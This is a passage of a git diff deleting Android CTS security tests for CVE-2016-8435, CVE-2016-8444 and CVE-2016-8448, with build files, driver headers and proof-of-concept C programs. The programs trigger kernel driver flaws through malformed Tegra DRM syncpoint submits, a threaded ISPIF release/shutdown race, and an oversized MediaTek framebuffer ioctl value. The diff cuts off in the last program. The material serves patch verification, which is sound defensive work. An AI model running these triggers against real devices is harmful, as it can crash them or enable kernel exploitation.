- __u32 pad;
- __u64 context;
-};
-
-struct drm_tegra_close_channel {
- __u64 context;
-};
-
-struct drm_tegra_submit {
- __u64 context;
- __u32 num_syncpts;
- __u32 num_cmdbufs;
- __u32 num_relocs;
- __u32 num_waitchks;
- __u32 waitchk_mask;
- __u32 timeout;
- __u64 syncpts;
- __u64 cmdbufs;
- __u64 relocs;
- __u64 waitchks;
- __u32 fence; /* Return value */
- __u32 reserved0;
- __u64 fences;
- __u32 reserved1[2]; /* future expansion */
-};
-
-#define DRM_IOCTL_BASE 'd'
-#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
- __u32 id;
- __u32 incrs;
-};
-
-struct list_head {
- struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
- void* open_channel;
- void* close_channel;
- void* reset;
- void* is_add_reg;
- void* submit;
-};
-
-struct tegra_drm_client {
- /* sizeof(host1x_client) is 232 */
- unsigned char pad[232]; /* maybe gadget arguments */
- struct list_head list;
- struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
- struct tegra_drm_client *client;
- void *channel;
- struct list_head list;
- /* FIXME we need pass lock op */
- //struct mutex lock;
- //bool keepon;
- //struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
- int ret;
- int dev_fd;
- int i;
-
- /* open dev */
- dev_fd = open(DEV,O_RDONLY);
- if(dev_fd == -1){
- printf("[-] open dev failed %d %s\n", errno, strerror(errno));
- return 0;
- }
-
- /* prepare for ioctl */
- open_c.client = HOST1X_CLASS_VIC;
- submit_c.num_syncpts = SYN_NUM;
- submit_c.syncpts = (__u64)syncpts;
-
- for(i = 1; i < SYN_NUM; i++){
- syncpts[i].id = 192;
- syncpts[i].incrs = 0xffff;
- }
-
- /* open channel */
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
- if(ret == -1){
- printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
- goto out_dev;
- }
- submit_c.context = open_c.context;
- printf("[+] call submit\n");
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
- printf("[+] submit return %d\n", ret);
-
-out_dev:
- close(dev_fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 50e2f6a..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
- int32_t cfg_type;
- union {
- int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
- uint32_t csid_version; /* ISPIF_INIT */
- //struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
- //struct msm_ispif_param_data params; /* CFG, START, STOP */
- };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
- int arg1[3] = {0};
- switch ((long)arg) {
- case 0:
- data.cfg_type = 8; ////release
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
- break;
- case 1:
- ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
- break;
- }
- return NULL;
-}
-
-int main() {
-
- int pid,i;
- pthread_t th[4];
- fd = open( "/dev/v4l-subdev17", 0x0ul );
-
- printf("please wait for several seconds...\n");
-
- while(1){
-
- data.cfg_type = 2; ////init
- data.csid_version = 1;
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
- for (i = 0; i < 2; i++) {
- pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
- usleep(10);
- }
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index cd6049f..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK (0x00000fff)
-#define FBCAPS_LCDC_MASK (0x00fff000)
-#define FBCAPS_PANEL_MASK (0xff000000)
-#define FBCAPS_MANUAL_UPDATE (0x00001000)
-#define FBCAPS_SET_BACKLIGHT (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype) _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype) _IOWR('O', num, dtype)
-#define MTK_IO(num) _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER MTK_IO(11)
-#define MTKFB_POWERON MTK_IO(12)
-#define MTKFB_POWEROFF MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE MTK_IOR(20, unsigned long) /* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE MTK_IOR(21, unsigned long) /* /0: power off 1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE 512 /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION MTK_IO(49)
-#define MTKFB_GETFPS MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ MTK_IOW(52, unsigned long) /* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
- MTK_FB_ORIENTATION_0 = 0,
- MTK_FB_ORIENTATION_90 = 1,
- MTK_FB_ORIENTATION_180 = 2,
- MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
- MTK_FB_TV_SYSTEM_NTSC = 0,
- MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
- MTK_FB_TV_FMT_RGB565 = 0,
- MTK_FB_TV_FMT_YUV420_SEQ = 1,
- MTK_FB_TV_FMT_UYUV422 = 2,
- MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
- LAYER_NORMAL_BUFFER = 0,
- LAYER_SECURE_BUFFER = 1,
- LAYER_PROTECTED_BUFFER = 2,
- LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001, /* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
- char name[32];
- int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
- MTK_FB_FORMAT format;
-
- volatile char *outputBuffer;
- unsigned int wdma_width;
- unsigned int wdma_height;
-};
-
-struct fb_scale {
- unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
- unsigned int idx;
- unsigned long offset;
-};
-
-struct fb_update_window {
- unsigned int x, y;
- unsigned int width, height;
-};
-
-typedef enum {
- LAYER_2D = 0,
- LAYER_3D_SBS_0 = 0x1,
- LAYER_3D_SBS_90 = 0x2,
- LAYER_3D_SBS_180 = 0x3,
- LAYER_3D_SBS_270 = 0x4,
- LAYER_3D_TAB_0 = 0x10,
- LAYER_3D_TAB_90 = 0x20,
- LAYER_3D_TAB_180 = 0x30,
- LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
- DISP_DIRECT_LINK_MODE,
- DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
- MTK_DISP_MODE mode;
-};
-
-typedef enum { /* map sessions to scenairos in kernel driver */
- DISP_SESSION_LCM = 1 << 0, /* DSI0 */
- DISP_SESSION_MEM = 1 << 1, /* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
- DISP_SESSION_WFD = 1 << 2,
- DISP_SESSION_MHL = 1 << 3, /* DPI */
- DISP_SESSION_LCM1 = 1 << 4, /* DSI1 */
- DISP_SESSION_MEM1 = 1 << 5, /* OVL1->WDMA1 */
- /* TODO:can be extended with other Session Id */
- SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
- unsigned int session; /* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
- MTK_DISP_MODE mode;
- unsigned int session;
-};
-struct fb_overlay_buffer {
- /* Input */
- int layer_id;
- unsigned int layer_en;
- int ion_fd;
- unsigned int cache_sync;
- /* Output */
- unsigned int index;
- int fence_fd;
-};
-
-struct fb_overlay_layer {
- unsigned int layer_id;
- unsigned int layer_enable;
-
- void *src_base_addr;
- void *src_phy_addr;
- unsigned int src_direct_link;
- MTK_FB_FORMAT src_fmt;
- unsigned int src_use_color_key;
- unsigned int src_color_key;
- unsigned int src_pitch;
- unsigned int src_offset_x, src_offset_y;
- unsigned int src_width, src_height;
-
- unsigned int tgt_offset_x, tgt_offset_y;
- unsigned int tgt_width, tgt_height;
- MTK_FB_ORIENTATION layer_rotation;
- MTK_FB_LAYER_TYPE layer_type;
- MTK_FB_ORIENTATION video_rotation;
-
- unsigned int isTdshp; /* set to 1, will go through tdshp first, then layer blending, then to color */
-
- int next_buff_idx;
- int identity;
- int connected_type;
- unsigned int security;
- unsigned int alpha_enable;
- unsigned int alpha;
- int fence_fd; /* 8135 */
- int ion_fd; /* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
- int fence;
- int time;
- struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
- unsigned int src_vir_addr;
- unsigned int size;
-};
-
-struct fb_overlay_layer_info {
- unsigned int layer_id;
- unsigned int layer_enabled; /* TO BE DEL */
- unsigned int curr_en;
- unsigned int next_en;
- unsigned int hw_en;
- int curr_idx;
- int next_idx;
- int hw_idx;
- int curr_identity;
- int next_identity;
- int hw_identity;
- int curr_conn_type;
- int next_conn_type;
- int hw_conn_type;
- MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
- void *phy_addr;
- void *vir_addr;
- MTK_FB_TV_SRC_FORMAT format;
- unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
- MTKFB_DISABLED = 0,
- MTKFB_SUSPENDED = 99,
- MTKFB_ACTIVE = 100
-};
-
-typedef enum {
- MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
- MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
- MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
- struct work_struct work;
- struct list_head list;
- struct fb_overlay_config config;
- struct sync_fence *fences[4];
- struct ion_handle *ion_handles[4];
- void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
- int state;
- void *fb_va_base; /* MPU virtual address */
- dma_addr_t fb_pa_base; /* Bus physical address */
- unsigned long fb_size_in_byte;
- void *ovl_va_base; /* MPU virtual address */
- dma_addr_t ovl_pa_base; /* Bus physical address */
- unsigned long ovl_size_in_byte;
-
- unsigned long layer_enable;
- MTK_FB_FORMAT *layer_format;
- unsigned int layer_config_dirty;
-
- int xscale, yscale, mirror; /* transformations.
- rotate is stored in fb_info->var */
- u32 pseudo_palette[17];
-
- struct fb_info *fb_info; /* Linux fbdev framework data */
- struct device *dev;
-
- /* Android native fence support */
- struct workqueue_struct *update_ovls_wq;
- struct mutex timeline_lock;
- struct sw_sync_timeline *timeline;
- int timeline_max;
- struct list_head pending_configs; /* CL2340210 */
- struct ion_client *ion_client;
-};
-
-#endif /* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif /* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
- typedef enum {
- DISPIF_TYPE_DBI = 0,
- DISPIF_TYPE_DPI,
- DISPIF_TYPE_DSI,
- DISPIF_TYPE_DPI0,
- DISPIF_TYPE_DPI1,
- DISPIF_TYPE_DSI0,
- DISPIF_TYPE_DSI1,
- HDMI = 7,
- HDMI_SMARTBOOK,
- MHL,
- DISPIF_TYPE_EPD,
- SLIMPORT
- } MTKFB_DISPIF_TYPE;
-
- typedef enum {
- MTKFB_DISPIF_PRIMARY_LCD = 0,
- MTKFB_DISPIF_HDMI,
- MTKFB_DISPIF_EPD,
- MTKFB_MAX_DISPLAY_COUNT
- } MTKFB_DISPIF_DEVICE_TYPE;
-
- typedef enum {
- DISPIF_FORMAT_RGB565 = 0,
- DISPIF_FORMAT_RGB666,
- DISPIF_FORMAT_RGB888
- } MTKFB_DISPIF_FORMAT;
-
-
- typedef enum {
- DISPIF_MODE_VIDEO = 0,
- DISPIF_MODE_COMMAND
- } MTKFB_DISPIF_MODE;
-
- typedef struct mtk_dispif_info {
- unsigned int display_id;
- unsigned int isHwVsyncAvailable;
- MTKFB_DISPIF_TYPE displayType;
- unsigned int displayWidth;
- unsigned int displayHeight;
- unsigned int displayFormat;
- MTKFB_DISPIF_MODE displayMode;
- unsigned int vsyncFPS;
- unsigned int physicalWidth;
- unsigned int physicalHeight;
- unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
- unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
- unsigned int lcmOriginalHeight;
- } mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp) (((id) << 8) | (bpp))
-
- typedef enum {
- MTK_FB_FORMAT_UNKNOWN = 0,
-
- MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
- MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
- MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
- MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
- MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
- MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
- MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
- MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
- MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
- MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
- MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
- MTK_FB_FORMAT_BPP_MASK = 0xFF,
- } MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f) ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif /* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
- int fd = 0;
- struct fb_overlay_layer layerInfo;
- memset(&layerInfo, 0, sizeof(layerInfo));
- fd = open("/dev/graphics/fb0", O_RDWR);
- if (fd < 0) {
- perror("open /dev/graphics/fb0");
- exit(-1);
- }
- printf("Device file opened successfully\n");
- printf("Trying to get layer info\n");
- if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
- perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
- exit(-2);
- }
- printf("Got layer info\n");
- printf("Trying to set layer info\n");
- // set any huge value here
- int curr_val = 0xf1111111;
- while(1) {
